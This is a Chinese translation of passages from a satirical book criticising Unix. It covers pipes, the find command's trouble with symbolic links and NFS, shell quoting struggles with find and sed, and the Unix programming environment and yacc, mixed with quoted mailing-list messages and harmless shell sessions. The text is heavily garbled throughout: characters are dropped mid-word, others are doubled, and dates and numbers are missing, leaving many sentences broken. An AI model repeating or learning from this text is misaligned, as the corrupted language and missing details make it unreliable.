果 你 修 改 了 一 个 程程 序 的 输 出 格 式 , 就就 必 时 修 改 一 个 程程 序 的 输 入 处 理 。<br />
大 多 数 程程 序 是 逐 渐 演 化 的 首 先 制 程程 序 的 需 求 规 范 , 然 程程 序 的 内 部<br />
逐 渐 成 型 , 最 完 成 输 出 能 。 管 道 无 视 这 一 过 程程 要 有 人 把把 半半 生 不 熟<br />
的 程程 序 放 到 了 管 道 中 , 输 出 格 式 就就 死 了 , 不 多 么 不 一 致 、 不 标 准 和 不<br />
利 落 , 你 都 能 认 命 。<br />
管 道 不 是 程程 序 间 通 的 唯 一 选 择 。 麦 金 塔 就就 没没 有 管 道 , 我 们 最 爱 的 Unix<br />
传 手手 册 这 写 麦 金 塔 <br />
但 是 , 麦 金 塔 采 用 的 模 型 截截 然 相 反 。 系 不 和 字 符 流 打 交 道 , 数 据据 文 件 的 层 很 高 , 几<br />
总 是 和 特 的 程程 序 相 。 在 麦 金 塔 系 , 你 什 么 时 候 把把 一 个 程程 序 的 输 出 通 过 管 道 传<br />
给 一 个 ( 甚 至 能 找 到 管 道 符 都 算 你 运 气 )? 程程 序 自 成 一 体 , 最 好 彻 明 白 自 己 在 <br />
嘛 。 你 无 法 拿 着 两 个 程程 序 MacFoo 和 MacBar, 然 把把 二 者 接接 在 一 起 。<br />
- 盒 摘摘 自 《Unix 人 生 》 利 比 斯 和 瑞 斯 勒 著<br />
是 呀 , 这 些 怜 的 麦 金 塔 用 户户 。 如 果 无 法 把把 字 符 流 通 过 管 道 四 处 乱 传 ,<br />
他 们 怎 么 能 将将 绘 画 程程 序 制 作 的 图 片 粘 贴 到 最 新 的 备 录 中 , 还 让 文 环 绕<br />
在 图 片 周 围 ? 怎 么 能 将将 一 个 表表 格 插插 入 备 录 ? 怎 么 能 自 跟 踪 修 改 ? 又 怎 么<br />
这 讨 的 “ 管 道 ” 都 限 于 传 的 Unix 管 道 , 就就 是 通 过 竖 线 (|) 在 shell 中 建 的 管 道 。 具 管<br />
道 并 不 在 讨 列 , 这 完 全 是 外 一 头 。
管 道<br />
· ·<br />
能 让 这 个 大 杂 烩 备 录 通 过 电 子 邮 件 跨 越 整 个 国 家 ? 接接 收 到 又 怎 么 能<br />
无 缝 地 浏 览 和 编 辑 , 再 回 复 回 去去 ? 没没 有 管 道 , 我 们 无 法 想 像 麦 金 塔 用 户户 在 过<br />
去去 十十 如 何 透 明 地 把把 所 有 这 些 程程 序 放 在 一 块 用 , 还 彼 全 都 相 无 事 。<br />
看 看 你 的 Unix 作 站 , 想 想 和 麦 金 塔 电 脑 一 有 用 是 什 么 时 候 ?<br />
你 能 在 跑 不 ( 甚 至 是 一 不 部 门 ) 的 件 , 彼 还 真<br />
能 通 信 是 什 么 时 候 ? 就就 算 Unix 真 做 到 了 这 一 点 , 那 是 因 麦 金 塔 件 开<br />
发发 商 拼 了 老 命 把把 件 移移 植植 到 了 Unix , 试 图 让 Unix 看 起 来 像 麦 金 塔 。<br />
Unix 和 麦 金 塔 操 作 系 的 区 别 , 在 于 Unix 是 悦 程 序 员 而 计<br />
的 , 而 麦 金 塔 是 了 悦 用 户 ( 回 来 ,Windows 一 门 心 思 想 悦 <br />
计 , 不 过 这 有 些 跑 题 了 )。<br />
研 究 表表 明 , 管 道 和 向 难 于 使 用 , 题 不 在 概概 念 , 而 在 于 随 心 所<br />
欲 和 反 直 觉 的 限 制 。Unix 自 己 的 文 档 就就 指指 出 , 有 Unix 死 忠 才 能 <br />
和 利 用 管 道 的 妙 处 , 泛 泛 辈 是 不 行 的 。<br />
期 thu, Jan :: EST<br />
来 自 姆 核 戴 维 斯 <br />
发发 给 UNIX 痛 者<br />
题 专 业 知 <br />
今 我 读 到 《 人 机 交 互 杂 》 的 一 篇 文 ,《 计 算 机 操 作 系 的 专 业 知 》 [] , 作<br />
者 是 斯 蒂 芬 妮 核 德 等 人 。 他 们 研 究 的 是 什 么 操 作 系 ? 德 研 究 了 Unix 新 手手 、<br />
熟 手手 和 专 家 的 知 和 表表 现 , 是 部 分 摘摘 要 <br />
“ 有 专 家 能 够 使 用 Unix 一 些 特 有 能 ( 例 如 管 道 和 向 ) 来 构 命 <br />
组 。”<br />
换 ,Unix 的 每 个 新 的 ( 而 不 是 那 些 从 它 系 生 搬 硬 套 来 的 ) 能 都 很 怪 ,<br />
至 于 必 经 过 多 怪 的 学 和 践 才 能 掌掌 握握 。<br />
“ 这 个 发发 现 有 些 出 意 料 , 因 这 些 是 Unix 的 基 础 能 , 而 且 是 所 有 初<br />
级 课 程程 的 内 容 。”<br />
她 还 参参 考 了 一 斯 蒂 芬 核 德 雷 珀 的 作 品 , 并 称 者 相 信 <br />
“ 如 果 专 家 是 指指 这 一 些 人 , 他 们 皓 首 穷 经 , 已 经 无 所 不 知 , 那 么 世 <br />
没没 有 什 么 Unix 专 家 。”<br />
对 恕 我 无 法 苟 。 明 摆 着 的 嘛 , 学 Unix 各 种 荒 唐 技 术 的 过 程程 , 足 让 任 何 人 “ 皓<br />
首 ”。<br />
有 些 程程 序 甚 至 特 意 区 别 对 待 “ 管 道 向 ” 和 “ 文 件 向 ”<br />
<br />
译 注 Stephen W. Draper。
· · csh、 管 道 和 find<br />
来 自 利 核 克 洛 茨 <br />
发发 给 UNIX 痛 者<br />
题 | 对 决 <<br />
期 Thu, Oct :: PDT<br />
collard% xtpanel -file xtpanel.out < .login<br />
unmatched braces<br />
unmatched braces<br />
unmatched braces<br />
unmatched right braces present<br />
collard% cat .login | xtpanel -file xtpanel.out<br />
collard%<br />
自 己 琢 磨 琢 磨 吧 。<br />
Find 命 <br />
于 Unix 有 件 最 恐 怖 的 事 情 , 那 就就 是 不 管 多 少少 被被 它 击 中 脑 袋袋 , 你 都<br />
不 失 去去 知 觉 。 你 的 脑 袋袋 就就 这 么 没没 完 没没 了 地 被被 打 。<br />
盒 盒 帕 特 克 核 苏 巴 瓦 罗<br />
在 一 个 庞 大 的 文 件 系 中 , 遗 失 个 把把 文 件 是 常 有 的 事 ( 想 像 一 伊 美<br />
达 核 马 科 斯<br />
<br />
要 从 她 所 有 橱 柜 中 找 到 那 双 系 着 红 丝 带 的 粉 色 鞋 子 )。 现 在 因<br />
磁 得 更 大 更 便 ,PC 和 苹 果 用 户户 遇 到 的 题 。 在 这 种 情 况 ,<br />
操 作 系 一 般 提 供 一 个 搜搜 索 程程 序 , 据据 各 种 件 ( 比 如 文 件 称 、 类 型 、<br />
建 时 间 等 等 ) 行 文 件 搜搜 索 。 苹 果 麦 金 塔 和 微 Windows 都 提 供 强 大 、 方<br />
便 、 稳稳 的 文 件 搜搜 索 程程 序 , 计 中 考 虑 到 了 用 户户 惯 和 现 网 。 相 比 <br />
,Unix 搜搜 索 程程 序 nd 的 计 目 标 用 户户 不 是 人 类 , 而 是 cpio, 一 个 Unix 备<br />
份 。Find 没没 能 见 到 网 的 出 现 , 及 文 件 系 的 新 能 比 如 符 链<br />
接接 甚 至 在 反 复 修 改 , 还 是 运 行 得 很 勉 强 。 于 是 , 尽 管 对 于 遗 失 文 件 的<br />
用 户户 很 要 ,find 的 作 方 式 却 不 甚 稳稳 、 无 法 测 。<br />
Unix 的 作 者 们 力 让 nd 跟 系 它 部 分 的 发发 展展 , 但 这 件 差 事 相 当<br />
困 难 。 今 的 nd 有 各 种 特 殊 的 选 用 于 处 理 NFS 文 件 系 、 符 链 接接 、<br />
程程 序 执执 行 、 交 互 式 程程 序 执执 行 , 甚 至 直 接接 使 用 cpio 或或 cpio-c 格 式 对 找 到 的 文<br />
件 行 归 档 。Sun 修 改 了 nd, 让 一 个 程程 序 系 每 个 文 件 建<br />
立立 索 引 数 据据 , 然 于 某 些 怪 的 理 , 当 你 不 任 何 参参 数 执执 行 “find<br />
<br />
译 注 Imelda R. Marcos( 月 ~), 菲 律 前 第 一 人 , 奢 侈 和 浮 华 生 活 闻 。
Find 命 <br />
· ·<br />
filename” 时 , 就就 搜搜 索 这 个 数 据据 ( 一 个 全 漏 洞 !)。 即 使 有 这 么 多 修<br />
修 补补 补补 ,nd 还 是 不 能 常 作 。<br />
例 如 ,csh 见 到 符 链 接接 着 走 去去 , 但 nd 不 csh 是 伯 克 利 ( 符<br />
链 接接 的 发发 源 地 ) 的 家 们 写 的 , 但 nd 追 溯 前 的 AT&T 时 。 就就 这<br />
, 东 西 方 文 化<br />
<br />
的 激 烈 碰 撞撞 射射 出 无 数 混 乱 的 碎 片 <br />
期 Thu, Jun : EDT<br />
来 自 pgs@crl.dec.com<br />
题 Unix 更 多 处<br />
发发 给 UNIX 痛 者<br />
这 个 是 我 最 爱 的 故 事 一 。 我 在 一 个 目 录 作 , 想 用 find 去去 找 一 个 目 录 的 文 件 ,<br />
我 是 这 么 做 的 <br />
po> pwd<br />
/ath/u/pgs<br />
po> find ~halstead -name "*.trace" -print<br />
po><br />
看 来 没没 有 找 到 。 不 过 别 , 看 看 这 个 <br />
po> cd ~halsead<br />
po> find . -name "*.trace" -print<br />
../learnX/fib-.trace<br />
../learnX/p0xp0.trace<br />
../learnX/fib-i.trace<br />
../learnX/fib-.trace<br />
../learnX/p0xp0.trace<br />
po><br />
嘿 ! 文 件 就就 在 那 呀 ! 如 果 你 想 找 一 个 文 件 , 随 机 到 各 个 目 录 转 转 , 不 <br />
你 要 的 文 件 就就 藏 在 那 呢 。Unix 这 个 废 物 点 心 。<br />
这 个 怜 的 人 , 在 /etc/passwd 文 件 中 , 他 的 目 录 目 必 是 一 个 指指<br />
向 真 目 录 的 符 链 接接 , 所 有 的 命 作 , 有 的 不 作 。<br />
什 么 不 修 改 一 , 让 find 着 符 链 接接 呢 ? 这 是 因 任 何 指指 向 高 一<br />
级 目 录 的 符 链 接接 都 把把 find 引 入 死 胡 。 有 精 心 计 和 谨 慎 现 , 才 能<br />
保 证 系 不 反 复 搜搜 索 一 个 目 录 。 而 简 约 的 Unix 避 义 者 脆 不 处<br />
理 符 链 接接 , 让 用 户户 自 己 去去 看 着 吧 。<br />
当 联 网 的 系 得 越 来 越 复 杂 , 题 得 越 来 越 难 解解 决 了 <br />
<br />
译 注 伯 克 利 于 美 国 西 海 岸岸 的 利 福 尼 亚 州 ,AT&T 于 东 南 部 的 德 克 萨 斯 州 。
· · csh、 管 道 和 find<br />
期 Wed, Jan :: PST<br />
来 自 肯 核 哈 瑞 斯 丁 <br />
题 什 么 find 什 么 找 不 到 ?<br />
发发 给 UNIX 痛 者<br />
我 发发 现 什 么 “find” 不 再 作 了 。<br />
尽 管 “find” 的 语 法 非 常 恶 心 怪 , 我 还 是 勉 强 用 了 很 长 时 间 , 免 白 几 小小 时 泡 在 在<br />
宫 似 的 文 件 目 录 中 , 去去 寻 找 一 个 我 知 道 肯 在 什 么 地 方 的 文 件 ( 在 不 机 , 文 件<br />
置 不 , 这 是 必 然 的 )。<br />
结 果 呢 , 在 这 个 NFS 和 符 链 接接 的 勇 敢 新 世 界 ,“find” 歇 菜 了 。 我 们 这 所 谓 的 文 件<br />
系 就就 是 一 团 , 有 数 不 胜 数 的 文 件 服 和 乱 七 糟 的 符 链 接接 ,“find” 却 哪<br />
个 懒 得 理 , 甚 至 选 都 不 提 供 …盚…盚 结 果 是 一 大 块 搜搜 索 范 围 被被 无 声 无 息 地 排排 除 在<br />
外 。 有 一 我 搜搜 索 一 个 很 大 的 目 录 却 颗 粒 无 收 , 来 调 查 发发 现 是 因 那 是 个 符 链 接接 ,<br />
这 时 我 才 如 梦 方 醒 。<br />
我 不 想 自 己 去去 检 查 每 个 提 交 搜搜 索 的 目 录 盒 盒 这 该 是 find 的 分 我 不 想 去去 每 出 现 这<br />
类 怪 事 都 要 去去 调 查 一 系 件 我 不 想 浪 时 间 和 Sun, 或或 者 所 有 Unix 党 徒 们 做 斗<br />
争 我 不 想 用 Unix。,,,,,,,。<br />
盒 盒 肯 ( 感 觉 好 些 了 , 还 是 有 点 恼 )<br />
如 果 想 写 个 复 杂 的 shell 脚 对 找 到 的 文 件 确 做 点 事 情 , 结 果 很 <br />
怪 。 这 是 shell 参参 数 传 递 方 式 的 悲 惨 果 。<br />
期 Sat, Dec :: PST<br />
来 自 杰 米 核 扎 瓦 斯 基 <br />
题 题 ‘find 盖 的 反 义 词 是 什 么 ? 答 案 找 不 到<br />
发发 给 UNIX 痛 者<br />
我 想 找 出 一 个 目 录 树 所 有 的 .el 文 件 , 并 且 每 个 都 没没 有 对 的 .elc 文 件 。 这 该 不 难 ,<br />
我 尝尝 试 用 find.<br />
这 就就 是 我 那 时 候 的 想 法 。<br />
我 先 是 这 么 的 <br />
% find . -name '*.el' -exec 'test -f {}c'<br />
find: incomplete statement<br />
噢 , 我 起 来 了 , 还 需 要 个 分 。<br />
% find . -name '*.el' -exec 'test -f {}c'\;<br />
find: Can't execute test -f c:<br />
No such file or directory<br />
真 有 你 的 , 然 没没 有 解解 析 这 个 命 。<br />
% find . -name '*.el' -exec test -f {}c \;<br />
, 似 什 么 没没 做 …盚…盚
Find 命 <br />
· ·<br />
% find . -name '*.el' -exec echo test -f {}c \;<br />
test -f c<br />
test -f c<br />
test -f c<br />
test -f c<br />
...<br />
明 白 了 。 是 shell 把把 大 括括 给 展展 开 了 。<br />
% find . -name '*.el' -exec test -f '{}'c \;<br />
test -f c<br />
test -f c<br />
test -f c<br />
test -f c<br />
嗯 ? 我 错 了 ,‘ 盖 并 不 是 find 用 来 “ 替 换 成 这 个 文 件 ” 的 符 。 真 的 么 ?…盚…盚<br />
% find . -name '*.el' -exec test -f '{}' c \;<br />
test -f ./bytecomp/bytecomp-runtime.el c<br />
test -f ./bytecomp/disass.el c<br />
test -f ./bytecomp/bytecomp.el c<br />
test -f ./bytecomp/byte-optimize.el c<br />
...<br />
喔 , 原原 来 如 。 该 怎 么 呢 ? 我 想 , 似 试 试 “sed...”<br />
但 我 了 一 个 深 刻 的 哲 理 “ 当 遇 到 一 个 Unix 题 的 时 候 , 有 人 想 ‘ 我 知 道 了 , 我<br />
试 试 sed。 盖 结 果 他 们 就就 有 两 个 题 要 对 付 了 。”<br />
试 验 五 , 外 阅 读 sed 手手 册 两 遍 , 我 得 到 了 这 个 <br />
% echo foo.el | sed 's/$/c/'<br />
于 是 <br />
% find . -name '*.el' -exec echo test -f `echo '{}' | sed 's/$/c'` \;<br />
test -f c<br />
test -f c<br />
test -f c<br />
...<br />
算 了 , 看 来 能 去去 排排 列 组 剩 的 所 有 shell 引 用 方 式 , 总 有 一 款 我 吧 ?<br />
% find . -name '*.el' -exec echo test -f "`echo '{}' | sed 's/$/c'`" \;<br />
Variable syntax.<br />
% find . -name '*.el' -exec echo test -f '`echo "{}" | sed "s/$/c"`' \;<br />
test -f `echo "{}" | sed "s/$/c"`<br />
test -f `echo "{}" | sed "s/$/c"`<br />
test -f `echo "{}" | sed "s/$/c"`<br />
...<br />
嗨 , 第 二 个 似 有 戏 。 我 需 要 这 么 一
· · csh、 管 道 和 find<br />
% find . -name '*.el' -exec echo test -f '`echo {} | sed "s/$/c"`' \;<br />
test -f `echo {} | sed "s/$/c"`<br />
test -f `echo {} | sed "s/$/c"`<br />
test -f `echo {} | sed "s/$/c"`<br />
...<br />
别 急 , 这 是 我 想 要 的 , 是 没没 有 把把 替 换 成 文 件 呢 ? 看 看 , 两 边 是 有 空空 格 的 , 你 究 还<br />
想 要 什 么 ? 满 月 夜 宰 山山 羊 的 血血 吗 ?<br />
, 等 等 。 那 个 反 向 单 引 间 的 引 用 被被 当 成 了 一 个 语 汇汇 。<br />
或或 我 能 用 sed 把把 这 个 反 向 单 引 过 滤 掉 。 嗯 , 没没 戏 。<br />
于 是 我 用 了 半半 分 钟 时 间 思 考 , 想 想 如 何 能 运 行 “-exec sh -c...” 类 的 东 西 , 于 出 现 了<br />
曙 光 , 写 了 一 段 emcas-lisp 码 去去 做 这 件 事 。 这 不 难 , 挺挺 快 的 , 而 且 作 了 , 我 真 高<br />
啊 , 一 切 都 过 去去 了 。<br />
今 洗 澡 的 时 候 , 我 突突 然 想 到 了 一 种 做 法 。 我 试 了 一 又 一 , 深 深 坠 入 了 她 的<br />
情 网 , 意 乱 情 , 无 法 自 拔 , 我 醉 了 , 有 当 初 用 Scribe 语 言言 现 罕 诺 塔 算 法 曾 给 我<br />
如 快 感 。 我 经 过 十十 二 尝尝 试 就就 找 到 了 解解 法 , 而 且 对 每 个 遍 历 到 的 文 件 生 两 个 <br />
程程 。 这 才 是 Unix 道 !<br />
% find . -name '*.el' -print \<br />
| sed 's/^/FOO-/'|\<br />
sed 's/$/; if [ ! -f ${FOO}c]; then \<br />
echo \ $FOO; fi/' | sh~<br />
哇 哈 哈 哈 哈 哈 哈 哈 哈 !!!!<br />
盒 杰 米<br />
计 。<br />
<br />
译 注 一 种 标 式 语 言言 和 文 字 处 理 系 , 首 提 出 结 构 和 格 式 的 分 离 , 布 莱 核 瑞 德
Find 命 <br />
· ·
第 章<br />
编 写 程 序<br />
Hold 住 , 完 全 不 疼<br />
“ 别 惹 Unix, 这 家 弱 不 禁 风 , 不 就就 吐 。”<br />
盒 盒 匿匿 <br />
如 果 你 学 编 程程 就就 是 在 Unix 机 写 C 码 , 那 么 一 开 始 能 觉 得<br />
这 一 有 些 别 扭 。 这 完 全 常 , 因 不 幸 得 很 , 于 全 球 的 计 算 机 教 育 机 构<br />
广 泛 采 用 Unix, 结 果 教 出 来 的 学 生 把把 Unix 的 各 种 拌 蒜 当 成 严 谨 理 的 计<br />
决 策 。<br />
例 如 我 们 曾 经 过 , 有 些 语 言言 比 C 强 多 了 , 这 些 语 言言 的 生 编 程程 环 境<br />
又 比 Unix 强 多 了 , 对 有 Unix 爱 好 者 出 来 辩 护 <br />
期 Nov <br />
来 自 tmb@ai.mit.edu( 托托 马 斯 核 M 核 布 罗 伊 尔尔 )<br />
Scheme、Smalltalk 和 Common Lisp 这 些 语 言言 确 提 供 了 强 大 的 编 程程 环 境 。<br />
但 是 Unix 内 、shell 和 C 语 言言 针 对 更 广 泛 的 题 空空 间 , 而 语 言言 和 环 境 对 并 不<br />
擅擅 长 ( 或或 者 就就 无 法 处 理 )。<br />
这 些 题 包 括括 内 存 管 理 和 存 局 部 性 ( 程程 的 建 和 )、 数 据据 持 久 化 ( 文 件 存 储 数<br />
据据 结 构 )、 并 行 计 算 ( 管 道 、 程程 和 程程 间 通 信 )、 保 护 和 恢 复 ( 独 立立 的 地 址 空空 间 ),<br />
及 直 观 读 的 数 据据 表表 现 方 式 ( 文 文 件 )。 从 用 角 度 来 看 ,Unix 处 理 得 很 好 。<br />
发发 帖 人 对 Unix 赞 不 , 认 这 是 解解 决 复 杂 计 算 机 科 学 题 的 一 种 方<br />
法 。 但 好 在 别 的 学 科 研 究 “ 人 的 件 ” 时 , 对 Unix 敬 而 。<br />
期 Tue, Nov :: -<br />
来 自 markf@altdorf.ai.mit.edu<br />
发发 给 UNIX 痛 者<br />
题 Unix 的 脸 把把 戏<br />
<br />
译 注 Thomas M. Breuel。<br />
<br />
译 注 “ 人 的 件 ” 包 括括 “ 做 人 ” 和 “ 过 人 的 生 活 ” 的 全 部 体 验 。 作 生 命 有 限 的 个 体 , 大 多 数 人 都<br />
要 经 历 一 系 列 确 的 生 物 学 活 , 人 类 在 中 的 对 方 式 就就 是 “ 人 的 件 ”。 完 整 、 精 确 地 理 解解 这 个 概概<br />
念 的 内 涵 是 一 个 哲 学 题 。 基 于 维 基 百 科 。
· · 编 写 程 序<br />
通 过 控 制 程程 的 建 与 来 管 理 内 存 , 就就 如 通 过 控 制 人 的 生 死 来 对 付 疾 病 盒 盒 这 是<br />
在 放 任 题 。<br />
把把 Unix 文 件 ( 所 谓 的 “ 字 节 袋袋 ”) 作 数 据据 持 久 化 的 唯 一 接接 ? 就就 像 你 把把 所 有 衣衣 服 扔<br />
衣衣 柜 , 然 想 着 需 要 时 能 立立 刻 找 到 ( 我 是 这 么 做 的 , 惭 愧 )。<br />
通 过 管 道 、 程程 和 程程 间 通 信 来 现 并 行 计 算 ?Unix 程程 的 开 销 高 了 , 用 来 现 并 行<br />
得 不 偿 失 。 难 道 了 解解 决 人 力 资 源 缺 题 , 就就 鼓 员 多 生 孩 子 吗 ?<br />
不 错 ,Unix 当 然 处 理 文 。Unix 还 能 处 理 文 。 嗯 , 便 , 我 过 Unix 擅擅 长<br />
处 理 文 吗 ?<br />
盒 盒 马 克<br />
Unix 编 程 环 境 的 精 彩 世 界<br />
Unix 狂 热 者 到 处 鼓 吹 Unix 所 谓 的 “ 编 程程 环 境 ”, 他 们 称 Unix 提 供<br />
的 多 让 编 程程 事 半半 倍 。 是 凯 尔尔 尼 汉汉<br />
<br />
和 马 歇<br />
<br />
在 《Unix 编 程程 环<br />
境 》(《IEEE 计 算 机 》 杂 , 月 ) [] 一 文 中 的 法 <br />
Unix 环 境 最 能 提 高 编 程程 效 率 , 这 归 于 多 小小 用 的 程程 序 盒 盒 程程 序 , 这 些 <br />
常 编 程程 任 提 供 帮 。 列 举 的 这 些 例 子 就就 是 中 最 有 用 的 几 个 , 我 们 将将 <br />
例 展展 开 阐 述 。<br />
wc files 盒 盒 计 文 件 中 的 行 数 , 字 数 和 字 符 数 。<br />
pr files 盒 盒 打 印 文 件 , 支 持 标 题 和 多 栏 打 印 。<br />
lpr files 盒 盒 打 印 文 件<br />
grep pattern files 盒 盒 找 到 匹 配 某 种 模 式 的 文 件 行 。<br />
不 管 是 哪 程程 序 员 , 常 作 的 一 大 块 就就 是 运 行 这 类 程程 序 。 例 如 <br />
wc *.c<br />
用 于 对 一 组 C 源 码 文 件 行 计 数 <br />
grep goto *.c<br />
用 于 找 到 所 有 的 goto 语 。<br />
这 就就 算 “ 最 有 用 的 几 个 ”?!?!<br />
是 啊 , 程程 序 员 就就 玩 这 个 。 告 你 吧 , 今 我 就就 用 了 不 少少 时 间 把把 我 的<br />
C 码 数 来 数 去去 , 结 果 都 没没 别 的 事 情 , 而 且 我 觉 得 还 没没 数 够 。<br />
一 期 《IEEE 计 算 机 》 还 有 一 篇 文 , 是 华 纳 核 泰 特 曼<br />
<br />
和 拉拉 核 马<br />
森森 特 著 的 《Interlisp 编 程程 环 境 》。Interlisp 极 复 杂 精 , 在 ,<br />
中 的 就就 足 够 让 的 Unix 程程 序 员 流 水水 。<br />
<br />
译 注 Brian Kernighan,K&R 中 的 K。<br />
<br />
译 注 John Mashey,Mashey shell 的 作 者 。<br />
<br />
译 注 Warren Teitelman。<br />
<br />
译 注 Larry Masinter。<br />
<br />
译 注 一 种 基 于 Lisp 语 言言 的 编 程程 环 境 , 施 的 帕 罗 奥 托托 研 究 中 心 (Xerox PARC) 开 发发 。Interlisp<br />
成 了 交 互 式 开 发发 , 包 括括 调 试 、 简 单 补补 全 和 分 析 。
在 柏 拉 图 的 洞 穴 里 砌 码<br />
· ·<br />
Interlisp 环 境 的 计 方 法 和 Unix 大 相 径 庭 , 计 者 们 决 开 发发 一 个 完<br />
善 的 , 需 要 花 很 长 时 间 来 掌掌 握握 , 好 处 是 一 学 了 , 编 程程 效 率 将将 极 大 提<br />
高 。 去去 有 些 道 理 。<br />
但 很 悲 哀 , 不 管 这 个 环 境 多 么 人 , 今 极 少少 有 程程 序 员 能 体 到 置 身 <br />
中 的 感 觉 了 。<br />
在 柏 拉 图 的 洞 穴<br />
<br />
里 砌 码<br />
我 总 有 一 种 感 觉 ,( 计 算 机 语 言言 计 和 开 发发 的 ) 目 标 该 是 提 高 编<br />
程程 效 率 而 不 是 相 反 。<br />
盒 盒 comp.lang.c++ 的 一 个 贴 子<br />
在 已 高 度 自 化 的 它 业 域 中 , 情 况 不 是 这 的 。 走 今 的<br />
自 化 快 餐 店 , 人 们 需 要 的 是 标 准 化 的 食 物 , 而 不 是 什 么 法 国 大 菜 。<br />
大 批批 供 标 准 化 的 庸 品 , 比 小小 批批 的 精 耕 作 要 赚 钱 得 多 。<br />
盒 盒 某 一 个 技 术 人 员 对 帖 子 的 回 复<br />
<br />
Unix 不 是 世 界 最 好 的 件 环 境 盒 盒 甚 至 “ 好 ” 都 不 算 。Unix 编 程程<br />
粗 劣 难 用 大 多 数 PC 调 试 让 大 多 数 Unix 调 试 无 地 自 容 解解 释 仍<br />
然 是 富 豪 的 玩 修 改 和 录 总 是 想 起 来 才 去去 做 。 仍 然 有 人 把把<br />
Unix 当 成 程程 序 员 的 梦 , 能 让 程程 序 员 梦 到 效 率 提 高 , 而 不 是 真 的 提 高<br />
效 率 。<br />
Unix 程程 序 员 有 点 象 数 学 家 。 你 能 从 他 们 身 观 察察 到 一 个 神 秘秘 现 象 , 我<br />
们 称 “ 暗 示 编 程程 法 ”。 某 我 们 和 一 个 Unix 程程 序 员 到 需 要 一 个 <br />
, 能 够 回 答 诸 如 “ 函 数 foo 被被 谁 调 用 过 ?” 或或 者 “ 哪 个 函 数 改 过 全 局 <br />
bar” 类 的 题 他 认 这 个 的 用 处 , 然 提 到 ,“ 你 们 自<br />
己 写 一 个 。”<br />
地 , 他 所 是 “ 你 们 自 己 写 一 个 ” 而 不 是 真 写 一<br />
个 , 这 是 因 C 语 言言 的 一 些 特 性 和 Unix“ 编 程程 环 境 ” 的 狼 狈 奸 , 使 得 写 这<br />
的 程程 序 难 于 青 。<br />
<br />
译 注 柏 拉拉 图 《 理 想 国 》 中 的 一 个 隐 喻 , 困 于 洞 穴穴 中 的 人 穴穴 壁 的 投 影 所 惑 , 不 能 认 真 的 世<br />
界 。<br />
这 个 发发 帖 人 给 我 们 写 信 “ 看 起 来 我 发发 在 comp.lang.c++ 的 一 个 贴 子 被被 转 到 UNIX 痛 者 邮 件 组 了 。<br />
知 道 这 , 我 一 开 始 就就 不 发发 这 个 帖 子 。 我 对 不 希 望 我 的 字 , 或或 者 我 写 的 东 西 , 和 ‘UNIX 痛 <br />
者 盖 标 题 的 任 何 东 西 生 系 。 别 人 拿 去去 乱 讲 的 风 险 大 了 …盚…盚 你 们 使 用 这 段 引 文 , 但 不 要 暴<br />
露 我 的 字 和 单 。”<br />
<br />
译 注 Programming by Implication。
· · 编 写 程 序<br />
你 大 概概 觉 得 我 们 言言 过 , 还 觉 得 这 个 用 容 易 现 编 写 一 组 小小 <br />
程程 序 , 然 用 管 道 组 在 一 起 。 但 我 们 没没 有 大 , 你 的 方 案 肯 行 不 通 。<br />
使 用 yacc 进 行 语 言 解 析掏<br />
用 过 yacc(1) , 我 心 头 就就 堵 着 一 个 字 ,“ 呀 ”。<br />
盒 盒 匿匿 <br />
“YACC” 的 意 思 是 “ 又 一 个 编 译 的 编 译 (Yet Another Compiler Compiler)”。yacc<br />
的 输 入 是 文 无 语 法 , 用 于 描 述 需 要 解解 析 的 语 言言 , 输 出 <br />
是 现 解解 析 的 通 用 推 自 机 。 运 行 这 个 自 机 , 就就 得 到 了 一 个 特 语 言言 的<br />
解解 析 。 这 一 理 是 很 成 熟 的 , 因 在 计 算 机 科 学 的 蒙 昧 期 , 一 个 要 课 题<br />
就就 是 如 何 减 少少 编 写 编 译 的 时 间 。<br />
这 个 方 法 有 个 小小 题 多 语 言言 的 语 法 是 文 相 的 。 这 yacc 必<br />
在 某 些 状 转 换 点 添 相 码 , 用 处 理 文 无 语 法 失 效 的 情<br />
况 ( 这 是 现 类 型 检 查 的 一 般 做 法 )。 今 多 C 编 译 都 使 用 yacc 生 成 的<br />
解解 析 GCC . 的 yacc 语 法 有 行 多 ( 要 不 是 这 ,GCC 真 是 自 <br />
件 基 金 的 好 品 )。 除 外 ,yacc 输 出 的 码 , 及 通 用 推 自 <br />
机 运 行 这 些 码 的 码 , 还 要 多 得 多 。<br />
有 些 编 程程 语 言言 的 语 法 比 较 容 易 解解 析 。 比 如 ,Lisp 能 够 用 递 归 解解 析 <br />
行 解解 析 。“ 递 归 ” 是 一 计 算 机 黑 , 意 思 是 “ 喝 杯 的 就就 能<br />
完 成 ”。 据据 我 们 的 验 , 行 C 码 就就 能 给 Lisp 编 写 一 个 递 归 解解 析<br />
, 如 果 改 用 Lisp 来 写 , 那 么 一 页 纸 用 不 了 。<br />
在 提 到 的 那 个 计 算 机 科 学 原原 始 时 , 这 书 的 编 辑 还 没没 有 生 出 来 。<br />
那 时 候 的 计 算 机 房 是 恐 龙 的 ,“ 真 的 人 ” 拨 着 板 的 开 来 编 程程 。<br />
今 的 社 学 家 和 历 史 作 者 想 破 了 脑 袋袋 , 无 法 理 解解 什 么 看 似 理 智 的<br />
彼 时 程程 序 员 却 计 、 现 和 传 播播 了 如 难 解解 析 的 语 言言 。 他 们 需 要 开 放 的<br />
研 究 目 , 解解 析 难 于 解解 析 的 语 言言 似 是 个 不 错 的 课 题 。<br />
有 种 冲 想 搞搞 清 楚楚 他 们 在 那 个 时 嗑 了 什 么 药 。<br />
解解 析 C 语 言言 码 , 从 中 找 出 函 数 调 用 系 和 全 局 的 读 写 置 盒 盒 <br />
现 这 个 目 标 的 就就 是 一 个 C 编 译 前 端 。C 语 言言 身 的 复 杂 性 , 及<br />
难 用 yacc 这 类 , 让 C 编 译 前 端 成 一 种 极 复 杂 的 玩 意 儿 。 难<br />
怪 没没 人 真 手手 去去 写 一 个 这 的 。
在 柏 拉 图 的 洞 穴 里 砌 码<br />
· ·<br />
Unix 死 硬 分 子 你 不 需 要 这 么 个 程程 序 , 因 有 grep 就就 足 够 了 。 而 且 ,<br />
你 还 能 在 shell 管 道 中 使 用 grep。 来 有 一 , 我 们 想 找 出 BSD 内 源 码 中<br />
所 有 使 用 min 函 数 的 地 方 。 这 是 中 一 运 行 结 果 <br />
% grep min netinet/ip_icmp.c<br />
icmplen = oiplen + min(, oip->ip_len);<br />
* that not corrupted and of at least minimum length.<br />
* If the incoming packet was addressed directly to us,<br />
* to the incoming interface.<br />
* Retrieve any source routing from the incoming packet;<br />
%<br />
